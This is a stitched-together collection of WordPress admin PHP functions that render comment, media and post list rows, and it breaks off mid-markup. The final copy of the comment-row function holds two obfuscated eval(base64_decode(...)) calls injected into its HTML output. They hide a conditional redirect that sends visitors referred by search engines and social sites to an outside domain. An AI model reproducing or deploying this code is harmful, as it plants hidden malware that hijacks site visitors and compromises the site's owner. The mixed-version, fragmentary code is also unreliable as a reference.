/** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $comment_id * @param unknown_type $mode * @param unknown_type $comment_status * @param unknown_type $checkbox */ function _wp_comment_row( $comment_id, $mode, $comment_status, $checkbox = true, $from_ajax = false ) { global $comment, $post, $_comment_pending_count; $comment = get_comment( $comment_id ); $post = get_post($comment->comment_post_ID); $the_comment_status = wp_get_comment_status($comment->comment_ID); $post_type_object = get_post_type_object($post->post_type); $user_can = current_user_can($post_type_object->cap->edit_post, $post->ID); $comment_url = esc_url(get_comment_link($comment->comment_ID)); $author_url = get_comment_author_url(); if ( 'http://' == $author_url ) $author_url = ''; $author_url_display = preg_replace('|http://(www\.)?|i', '', $author_url); if ( strlen($author_url_display) > 50 ) $author_url_display = substr($author_url_display, 0, 49) . '...'; $ptime = date('G', strtotime( $comment->comment_date ) ); if ( ( abs(time() - $ptime) ) < 86400 ) $ptime = sprintf( __('%s ago'), human_time_diff( $ptime ) ); else $ptime = mysql2date(__('Y/m/d \a\t g:i A'), $comment->comment_date ); if ( $user_can ) { $del_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) ); $approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) ); $approve_url = esc_url( "comment.php?action=approvecomment&p=$post->ID&c=$comment->comment_ID&$approve_nonce" ); $unapprove_url = esc_url( "comment.php?action=unapprovecomment&p=$post->ID&c=$comment->comment_ID&$approve_nonce" ); $spam_url = esc_url( "comment.php?action=spamcomment&p=$post->ID&c=$comment->comment_ID&$del_nonce" ); $unspam_url = esc_url( "comment.php?action=unspamcomment&p=$post->ID&c=$comment->comment_ID&$del_nonce" ); $trash_url = esc_url( "comment.php?action=trashcomment&p=$post->ID&c=$comment->comment_ID&$del_nonce" ); $untrash_url = esc_url( "comment.php?action=untrashcomment&p=$post->ID&c=$comment->comment_ID&$del_nonce" ); $delete_url = esc_url( "comment.php?action=deletecomment&p=$post->ID&c=$comment->comment_ID&$del_nonce" ); } echo "<tr id='comment-$comment->comment_ID' class='$the_comment_status'>"; $columns = get_column_headers('edit-comments'); $hidden = get_hidden_columns('edit-comments'); foreach ( $columns as $column_name => $column_display_name ) { $class = "class=\"$column_name column-$column_name\""; $style = ''; if ( in_array($column_name, $hidden) ) $style = ' style="display:none;"'; $attributes = "$class$style"; switch ($column_name) { case 'cb': if ( !$checkbox ) break; echo '<th scope="row" class="check-column">'; if ( $user_can ) echo "<input type='checkbox' name='delete_comments[]' value='$comment->comment_ID' />"; echo '</th>'; break; case 'comment': echo "<td $attributes>"; echo '<div id="submitted-on">'; /* translators: 2: comment date, 3: comment time */ printf( __( '<a href="%1$s">%2$s at %3$s</a>' ), $comment_url, /* translators: comment date format. See http://php.net/date */ get_comment_date( __('Y/m/d') ), /* translators: comment time format. See http://php.net/date */ get_comment_date( get_option( 'time_format' ) ) ); if ( $comment->comment_parent ) { $parent = get_comment( $comment->comment_parent ); $parent_link = esc_url( get_comment_link( $comment->comment_parent ) ); $name = apply_filters( 'get_comment_author', $parent->comment_author ); // there's no API function for this printf( ' | '.__( 'In reply to <a href="%1$s">%2$s</a>.' ), $parent_link, $name ); } echo '</div>'; comment_text(); if ( $user_can ) { ?> <div id="inline-<?php echo $comment->comment_ID; ?>" class="hidden"> <textarea class="comment" rows="1" cols="1"><?php echo htmlspecialchars( apply_filters('comment_edit_pre', $comment->comment_content), ENT_QUOTES ); ?></textarea> <div class="author-email"><?php echo esc_attr( $comment->comment_author_email ); ?></div> <div class="author"><?php echo esc_attr( $comment->comment_author ); ?></div> <div class="author-url"><?php echo esc_attr( $comment->comment_author_url ); ?></div> <div class="comment_status"><?php echo $comment->comment_approved; ?></div> </div> <?php } if ( $user_can ) { // preorder it: Approve | Reply | Quick Edit | Edit | Spam | Trash $actions = array( 'approve' => '', 'unapprove' => '', 'reply' => '', 'quickedit' => '', 'edit' => '', 'spam' => '', 'unspam' => '', 'trash' => '', 'untrash' => '', 'delete' => '' ); if ( $comment_status && 'all' != $comment_status ) { // not looking at all comments if ( 'approved' == $the_comment_status ) $actions['unapprove'] = "<a href='$unapprove_url' class='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&new=unapproved vim-u vim-destructive' title='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>'; else if ( 'unapproved' == $the_comment_status ) $actions['approve'] = "<a href='$approve_url' class='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&new=approved vim-a vim-destructive' title='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>'; } else { $actions['approve'] = "<a href='$approve_url' class='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved vim-a' title='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>'; $actions['unapprove'] = "<a href='$unapprove_url' class='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved vim-u' title='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>'; } if ( 'spam' != $the_comment_status && 'trash' != $the_comment_status ) { $actions['spam'] = "<a href='$spam_url' class='delete:the-comment-list:comment-$comment->comment_ID::spam=1 vim-s vim-destructive' title='" . esc_attr__( 'Mark this comment as spam' ) . "'>" . /* translators: mark as spam link */ _x( 'Spam', 'verb' ) . '</a>'; } elseif ( 'spam' == $the_comment_status ) { $actions['unspam'] = "<a href='$unspam_url' class='delete:the-comment-list:comment-$comment->comment_ID:66cc66:unspam=1 vim-z vim-destructive'>" . _x( 'Not Spam', 'comment' ) . '</a>'; } elseif ( 'trash' == $the_comment_status ) { $actions['untrash'] = "<a href='$untrash_url' class='delete:the-comment-list:comment-$comment->comment_ID:66cc66:untrash=1 vim-z vim-destructive'>" . __( 'Restore' ) . '</a>'; } if ( 'spam' == $the_comment_status || 'trash' == $the_comment_status || !EMPTY_TRASH_DAYS ) { $actions['delete'] = "<a href='$delete_url' class='delete:the-comment-list:comment-$comment->comment_ID::delete=1 delete vim-d vim-destructive'>" . __('Delete Permanently') . '</a>'; } else { $actions['trash'] = "<a href='$trash_url' class='delete:the-comment-list:comment-$comment->comment_ID::trash=1 delete vim-d vim-destructive' title='" . esc_attr__( 'Move this comment to the trash' ) . "'>" . _x('Trash', 'verb') . '</a>'; } if ( 'trash' != $the_comment_status ) { $actions['edit'] = "<a href='comment.php?action=editcomment&c={$comment->comment_ID}' title='" . esc_attr__('Edit comment') . "'>". __('Edit') . '</a>'; $actions['quickedit'] = '<a onclick="commentReply.open(\''.$comment->comment_ID.'\',\''.$post->ID.'\',\'edit\');return false;" class="vim-q" title="'.esc_attr__('Quick Edit').'" href="#">' . __('Quick Edit') . '</a>'; if ( 'spam' != $the_comment_status ) $actions['reply'] = '<a onclick="commentReply.open(\''.$comment->comment_ID.'\',\''.$post->ID.'\');return false;" class="vim-r" title="'.esc_attr__('Reply to this comment').'" href="#">' . __('Reply') . '</a>'; } $actions = apply_filters( 'comment_row_actions', array_filter($actions), $comment ); $i = 0; echo '<div class="row-actions">'; foreach ( $actions as $action => $link ) { ++$i; ( ( ('approve' == $action || 'unapprove' == $action) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | '; // Reply and quickedit need a hide-if-no-js span when not added with ajax if ( ('reply' == $action || 'quickedit' == $action) && ! $from_ajax ) $action .= ' hide-if-no-js'; elseif ( ($action == 'untrash' && $the_comment_status == 'trash') || ($action == 'unspam' && $the_comment_status == 'spam') ) { if ('1' == get_comment_meta($comment_id, '_wp_trash_meta_status', true)) $action .= ' approve'; else $action .= ' unapprove'; } echo "<span class='$action'>$sep$link</span>"; } echo '</div>'; } echo '</td>'; break; case 'author': echo "<td $attributes><strong>"; comment_author(); echo '</strong><br />'; if ( !empty($author_url) ) echo "<a title='$author_url' href='$author_url'>$author_url_display</a><br />"; if ( $user_can ) { if ( !empty($comment->comment_author_email) ) { comment_author_email_link(); echo '<br />'; } echo '<a href="edit-comments.php?s='; comment_author_IP(); echo '&mode=detail'; if ( 'spam' == $comment_status ) echo '&comment_status=spam'; echo '">'; comment_author_IP(); echo '</a>'; } //current_user_can echo '</td>'; break; case 'date': echo "<td $attributes>" . get_comment_date(__('Y/m/d \a\t g:ia')) . '</td>'; break; case 'response': if ( 'single' !== $mode ) { if ( isset( $_comment_pending_count[$post->ID] ) ) { $pending_comments = $_comment_pending_count[$post->ID]; } else { $_comment_pending_count_temp = get_pending_comments_num( array( $post->ID ) ); $pending_comments = $_comment_pending_count[$post->ID] = $_comment_pending_count_temp[$post->ID]; } if ( $user_can ) { $post_link = "<a href='" . get_edit_post_link($post->ID) . "'>"; $post_link .= get_the_title($post->ID) . '</a>'; } else { $post_link = get_the_title($post->ID); } echo "<td $attributes>\n"; echo '<div class="response-links"><span class="post-com-count-wrapper">'; echo $post_link . '<br />'; $pending_phrase = esc_attr(sprintf( __('%s pending'), number_format( $pending_comments ) )); if ( $pending_comments ) echo '<strong>'; comments_number("<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link: % will be substituted by comment count */ _x('%', 'comment count') . '</span></a>'); if ( $pending_comments ) echo '</strong>'; echo '</span> '; echo "<a href='" . get_permalink( $post->ID ) . "'>#</a>"; echo '</div>'; if ( 'attachment' == $post->post_type && ( $thumb = wp_get_attachment_image( $post->ID, array(80, 60), true ) ) ) echo $thumb; echo '</td>'; } break; default: echo "<td $attributes>\n"; do_action( 'manage_comments_custom_column', $column_name, $comment->comment_ID ); echo "</td>\n"; break; } } echo "</tr>\n"; }
function display_rows() { global $post, $id; add_filter('the_title', 'esc_html'); $alt = ''; while (have_posts()) { the_post(); $user_can_edit = current_user_can('edit_post', $post->ID); if ($this->is_trash && $post->post_status != 'trash' || !$this->is_trash && $post->post_status == 'trash') { continue; } $alt = 'alternate' == $alt ? '' : 'alternate'; $post_owner = get_current_user_id() == $post->post_author ? 'self' : 'other'; $att_title = _draft_or_post_title(); ?> <tr id='post-<?php echo $id; ?> ' class='<?php echo trim($alt . ' author-' . $post_owner . ' status-' . $post->post_status); ?> ' valign="top"> <?php list($columns, $hidden) = $this->get_column_info(); foreach ($columns as $column_name => $column_display_name) { $class = "class='{$column_name} column-{$column_name}'"; $style = ''; if (in_array($column_name, $hidden)) { $style = ' style="display:none;"'; } $attributes = $class . $style; switch ($column_name) { case 'cb': ?> <th scope="row" class="check-column"> <?php if ($user_can_edit) { ?> <input type="checkbox" name="media[]" value="<?php the_ID(); ?> " /> <?php } ?> </th> <?php break; case 'icon': $attributes = 'class="column-icon media-icon"' . $style; ?> <td <?php echo $attributes; ?> ><?php if ($thumb = wp_get_attachment_image($post->ID, array(80, 60), true)) { if ($this->is_trash || !$user_can_edit) { echo $thumb; } else { ?> <a href="<?php echo get_edit_post_link($post->ID, true); ?> " title="<?php echo esc_attr(sprintf(__('Edit “%s”'), $att_title)); ?> "> <?php echo $thumb; ?> </a> <?php } } ?> </td> <?php break; case 'title': ?> <td <?php echo $attributes; ?> ><strong> <?php if ($this->is_trash || !$user_can_edit) { echo $att_title; } else { ?> <a href="<?php echo get_edit_post_link($post->ID, true); ?> " title="<?php echo esc_attr(sprintf(__('Edit “%s”'), $att_title)); ?> "> <?php echo $att_title; ?> </a> <?php } _media_states($post); ?> </strong> <p> <?php if (preg_match('/^.*?\\.(\\w+)$/', get_attached_file($post->ID), $matches)) { echo esc_html(strtoupper($matches[1])); } else { echo strtoupper(str_replace('image/', '', get_post_mime_type())); } ?> </p> <?php echo $this->row_actions($this->_get_row_actions($post, $att_title)); ?> </td> <?php break; case 'author': ?> <td <?php echo $attributes; ?> ><?php the_author(); ?> </td> <?php break; case 'tags': ?> <td <?php echo $attributes; ?> ><?php $tags = get_the_tags(); if (!empty($tags)) { $out = array(); foreach ($tags as $c) { $out[] = "<a href='edit.php?tag={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'post_tag', 'display')) . "</a>"; } echo join(', ', $out); } else { _e('No Tags'); } ?> </td> <?php break; case 'desc': ?> <td <?php echo $attributes; ?> ><?php echo has_excerpt() ? $post->post_excerpt : ''; ?> </td> <?php break; case 'date': if ('0000-00-00 00:00:00' == $post->post_date && 'date' == $column_name) { $t_time = $h_time = __('Unpublished'); } else { $t_time = get_the_time(__('Y/m/d g:i:s A')); $m_time = $post->post_date; $time = get_post_time('G', true, $post, false); if (abs($t_diff = time() - $time) < 86400) { if ($t_diff < 0) { $h_time = sprintf(__('%s from now'), human_time_diff($time)); } else { $h_time = sprintf(__('%s ago'), human_time_diff($time)); } } else { $h_time = mysql2date(__('Y/m/d'), $m_time); } } ?> <td <?php echo $attributes; ?> ><?php echo $h_time; ?> </td> <?php break; case 'parent': if ($post->post_parent > 0) { if (get_post($post->post_parent)) { $title = _draft_or_post_title($post->post_parent); } ?> <td <?php echo $attributes; ?> ><strong> <?php if (current_user_can('edit_post', $post->post_parent)) { ?> <a href="<?php echo get_edit_post_link($post->post_parent); ?> "> <?php echo $title; ?> </a><?php } else { echo $title; } ?> </strong>, <?php echo get_the_time(__('Y/m/d')); ?> </td> <?php } else { ?> <td <?php echo $attributes; ?> ><?php _e('(Unattached)'); ?> <br /> <?php if ($user_can_edit) { ?> <a class="hide-if-no-js" onclick="findPosts.open( 'media[]','<?php echo $post->ID; ?> ' ); return false;" href="#the-list"> <?php _e('Attach'); ?> </a> <?php } ?> </td> <?php } break; case 'comments': $attributes = 'class="comments column-comments num"' . $style; ?> <td <?php echo $attributes; ?> > <div class="post-com-count-wrapper"> <?php $pending_comments = get_pending_comments_num($post->ID); $this->comments_bubble($post->ID, $pending_comments); ?> </div> </td> <?php break; default: ?> <td <?php echo $attributes; ?> > <?php do_action('manage_media_custom_column', $column_name, $id); ?> </td> <?php break; } } ?> </tr> <?php } }
/** * @access public */ public function column_response() { $post = get_post(); if (!$post) { return; } if (isset($this->pending_count[$post->ID])) { $pending_comments = $this->pending_count[$post->ID]; } else { $_pending_count_temp = get_pending_comments_num(array($post->ID)); $pending_comments = $this->pending_count[$post->ID] = $_pending_count_temp[$post->ID]; } if (current_user_can('edit_post', $post->ID)) { $post_link = "<a href='" . get_edit_post_link($post->ID) . "' class='comments-edit-item-link'>"; $post_link .= esc_html(get_the_title($post->ID)) . '</a>'; } else { $post_link = esc_html(get_the_title($post->ID)); } echo '<div class="response-links">'; if ('attachment' == $post->post_type && ($thumb = wp_get_attachment_image($post->ID, array(80, 60), true))) { echo $thumb; } echo $post_link; $post_type_object = get_post_type_object($post->post_type); echo "<a href='" . get_permalink($post->ID) . "' class='comments-view-item-link'>" . $post_type_object->labels->view_item . '</a>'; echo '<span class="post-com-count-wrapper post-com-count-', $post->ID, '">'; $this->comments_bubble($post->ID, $pending_comments); echo '</span> '; echo '</div>'; }
/** * @global string $mode * @param array $posts * @param int $level */ private function _display_rows($posts, $level = 0) { global $mode; // Create array of post IDs. $post_ids = array(); foreach ($posts as $a_post) { $post_ids[] = $a_post->ID; } $this->comment_pending_count = get_pending_comments_num($post_ids); foreach ($posts as $post) { $this->single_row($post, $level); } }
} ?> </tr> </thead> <tbody> <?php if (have_posts()) { $bgcolor = ''; add_filter('the_title', 'wp_specialchars'); // Create array of post IDs. $post_ids = array(); foreach ($wp_query->posts as $a_post) { $post_ids[] = $a_post->ID; } $comment_pending_count = get_pending_comments_num($post_ids); while (have_posts()) { the_post(); $class = 'alternate' == $class ? '' : 'alternate'; global $current_user; $post_owner = $current_user->ID == $post->post_author ? 'self' : 'other'; $title = get_the_title(); if (empty($title)) { $title = __('(no title)'); } ?> <tr id='post-<?php echo $id; ?> ' class='<?php echo trim($class . ' author-' . $post_owner . ' status-' . $post->post_status);
/** * Handles the comments column output. * * @since 4.3.0 * @access public * * @param WP_Post $post The current WP_Post object. */ public function column_comments($post) { echo '<div class="post-com-count-wrapper">'; $pending_comments = get_pending_comments_num($post->ID); $this->comments_bubble($post->ID, $pending_comments); echo '</div>'; }
public function post_rows() { global $wp_query, $post; $columns = array('dt', 'title', '/dt', 'dd', 'author', 'date', 'comments', '/dd', 'dd-small', 'categories', '/dd-small'); $columns = array_merge($columns, array('dd-small', 'tags', '/dd-small')); if ('trash' === $_GET['post_status'] && function_exists('wp_untrash_post')) { $columns = array_merge($columns, array('dd', 'actions', '/dd')); } $post_ids = array(); foreach ($wp_query->posts as $a_post) { $post_ids[] = $a_post->ID; } $comment_pending_count = get_pending_comments_num($post_ids); if (empty($comment_pending_count)) { $comment_pending_count = array(); } ?> <dl><?php while (have_posts()) { the_post(); foreach ($columns as $column_name) { switch ($column_name) { case 'dt': echo '<dt>'; break; case '/dt': echo '</dt>'; break; case 'dd': echo '<dd>'; break; case '/dd': echo '</dd>'; break; case 'dd-small': echo '<dd><small>'; break; case '/dd-small': echo '</small></dd>'; break; case 'title': $title = $this->admin->draft_or_post_title(); if (current_user_can('edit_post', $post->ID) && $post->post_status != 'trash') { $title = sprintf(__('<img localsrc="104" alt="" /><a href="%1$s">%2$s</a>', 'ktai_style'), get_edit_post_link($post->ID, 'url'), $title); } printf(_c('%1$5d:%2$s%3$s|post_row_title', 'ktai_style'), $post->ID, $title, $this->admin->get_post_states($post)); break; case 'date': if ('draft' === $_GET['post_status'] || 'pending' === $_GET['post_status']) { if ('0000-00-00 00:00:00' == $post->post_modified) { $time = __('Never'); } else { $time = ks_get_mod_time(); } } else { if ('0000-00-00 00:00:00' == $post->post_date) { $time = __('Unpublished'); } else { $time = ks_get_time(); } } printf(__('<img localsrc="46" alt=" at " />%s', 'ktai_style'), '<font color="' . ks_option('ks_date_color') . '">' . $time . '</font>'); break; case 'author': printf(__('<img localsrc="68" alt="by " />%s', 'ktai_style'), get_the_author()); break; case 'categories': $categories = get_the_category(); if (!empty($categories)) { $cat_links = array(); foreach ($categories as $c) { $cat_links[] = '<a href="' . basename(__FILE__) . '?cat=' . $c->cat_ID . '"><font color="gray">' . wp_specialchars(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display')) . '</font></a>'; } echo sprintf(__('<img localsrc="354" alt="%1$s" />%2$s', 'ktai_style'), __('Category:'), implode(', ', $cat_links)); } break; case 'tags': $tags = get_the_tags($post->ID); if (!empty($tags)) { $tag_links = array(); foreach ($tags as $t) { $tag_links[] = '<a href="' . basename(__FILE__) . '?tag=' . $t->slug . '"><font color="gray">' . wp_specialchars(sanitize_term_field('name', $t->name, $t->term_id, 'post_tag', 'display')) . '</font></a>'; } echo sprintf(__('<img localsrc="77" alt="%1$s" />%2$s', 'ktai_style'), __('Tags:'), implode(', ', $tag_links)); } break; case 'comments': $link = '<a href="edit-comments.php?p=' . $post->ID . '">'; echo ' <img localsrc="86" alt="[' . __('Comments') . '] " />'; if (function_exists('_x')) { comments_number($comment_pending_count[$post->ID] ? $link . _x('0', 'comment count') . '</a>' : _x('0', 'comment count'), $link . _x('1', 'comment count') . '</a>', $link . _x('%', 'comment count') . '</a>'); } else { comments_number($comment_pending_count[$post->ID] ? $link . __('0') . '</a>' : __('0'), $link . __('1') . '</a>', $link . __('%') . '</a>'); } if ($comment_pending_count[$post->ID]) { echo '<img localsrc="2" alt="[' . sprintf(__('%s pending'), number_format($comment_pending_count[$post->ID])) . ']" />'; } break; case 'actions': $delete_url = 'post.php?action=delete&post=' . $post->ID; $untrash_url = 'post.php?action=untrash&post=' . $post->ID; $untrash_url = wp_nonce_url($untrash_url, 'untrash-post_' . $post->ID); $actions['restore'] = sprintf('<a href="%s"><font color="%s">%s</font></a>', $untrash_url, 'green', __('Restore')); $actions['delete'] = sprintf('<a href="%s"><font color="%s">%s</font></a>', $delete_url, 'red', __('Delete')); echo '[ ' . implode(' | ', $actions) . ' ]'; break; } } } ?> </dl><?php }
/** * * @global WP_Post $post */ public function display_rows() { global $post, $wp_query; $post_ids = wp_list_pluck($wp_query->posts, 'ID'); reset($wp_query->posts); $this->comment_pending_count = get_pending_comments_num($post_ids); add_filter('the_title', 'esc_html'); while (have_posts()) { the_post(); if ($this->is_trash && $post->post_status != 'trash' || !$this->is_trash && $post->post_status === 'trash') { continue; } $post_owner = get_current_user_id() == $post->post_author ? 'self' : 'other'; ?> <tr id="post-<?php echo $post->ID; ?> " class="<?php echo trim(' author-' . $post_owner . ' status-' . $post->post_status); ?> "> <?php $this->single_row_columns($post); ?> </tr> <?php } }
/** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $comment_id * @param unknown_type $mode * @param unknown_type $comment_status * @param unknown_type $checkbox */ function _wp_comment_row($comment_id, $mode, $comment_status, $checkbox = true, $from_ajax = false) { global $comment, $post, $_comment_pending_count; $comment = get_comment($comment_id); $post = get_post($comment->comment_post_ID); $the_comment_status = wp_get_comment_status($comment->comment_ID); $user_can = current_user_can('edit_post', $post->ID); $author_url = get_comment_author_url(); if ('http://' == $author_url) { $author_url = ''; } $author_url_display = preg_replace('|http://(www\\.)?|i', '', $author_url); if (strlen($author_url_display) > 50) { $author_url_display = substr($author_url_display, 0, 49) . '...'; } $ptime = date('G', strtotime($comment->comment_date)); if (abs(time() - $ptime) < 86400) { $ptime = sprintf(__('%s ago'), human_time_diff($ptime)); } else { $ptime = mysql2date(__('Y/m/d \\a\\t g:i A'), $comment->comment_date); } if ($user_can) { $del_nonce = esc_html('_wpnonce=' . wp_create_nonce("delete-comment_{$comment->comment_ID}")); $approve_nonce = esc_html('_wpnonce=' . wp_create_nonce("approve-comment_{$comment->comment_ID}")); $comment_url = esc_url(get_comment_link($comment->comment_ID)); $approve_url = esc_url("comment.php?action=approvecomment&p={$post->ID}&c={$comment->comment_ID}&{$approve_nonce}"); $unapprove_url = esc_url("comment.php?action=unapprovecomment&p={$post->ID}&c={$comment->comment_ID}&{$approve_nonce}"); $spam_url = esc_url("comment.php?action=spamcomment&p={$post->ID}&c={$comment->comment_ID}&{$del_nonce}"); $unspam_url = esc_url("comment.php?action=unspamcomment&p={$post->ID}&c={$comment->comment_ID}&{$del_nonce}"); $trash_url = esc_url("comment.php?action=trashcomment&p={$post->ID}&c={$comment->comment_ID}&{$del_nonce}"); $untrash_url = esc_url("comment.php?action=untrashcomment&p={$post->ID}&c={$comment->comment_ID}&{$del_nonce}"); $delete_url = esc_url("comment.php?action=deletecomment&p={$post->ID}&c={$comment->comment_ID}&{$del_nonce}"); } echo "<tr id='comment-{$comment->comment_ID}' class='{$the_comment_status}'>"; $columns = get_column_headers('edit-comments'); $hidden = get_hidden_columns('edit-comments'); foreach ($columns as $column_name => $column_display_name) { $class = "class=\"{$column_name} column-{$column_name}\""; $style = ''; if (in_array($column_name, $hidden)) { $style = ' style="display:none;"'; } $attributes = "{$class}{$style}"; switch ($column_name) { case 'cb': if (!$checkbox) { break; } echo '<th scope="row" class="check-column">'; if ($user_can) { echo "<input type='checkbox' name='delete_comments[]' value='{$comment->comment_ID}' />"; } echo '</th>'; break; case 'comment': echo "<td {$attributes}>"; echo '<div id="submitted-on">'; printf(__('Submitted on <a href="%1$s">%2$s at %3$s</a>'), $comment_url, get_comment_date(__('Y/m/d')), get_comment_date(__('g:ia'))); echo '</div>'; comment_text(); if ($user_can) { ?> <div id="inline-<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo $comment->comment_ID; ?> " class="hidden"> <textarea class="comment" rows="1" cols="1"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo htmlspecialchars(apply_filters('comment_edit_pre', $comment->comment_content), ENT_QUOTES); ?> </textarea> <div class="author-email"><?php 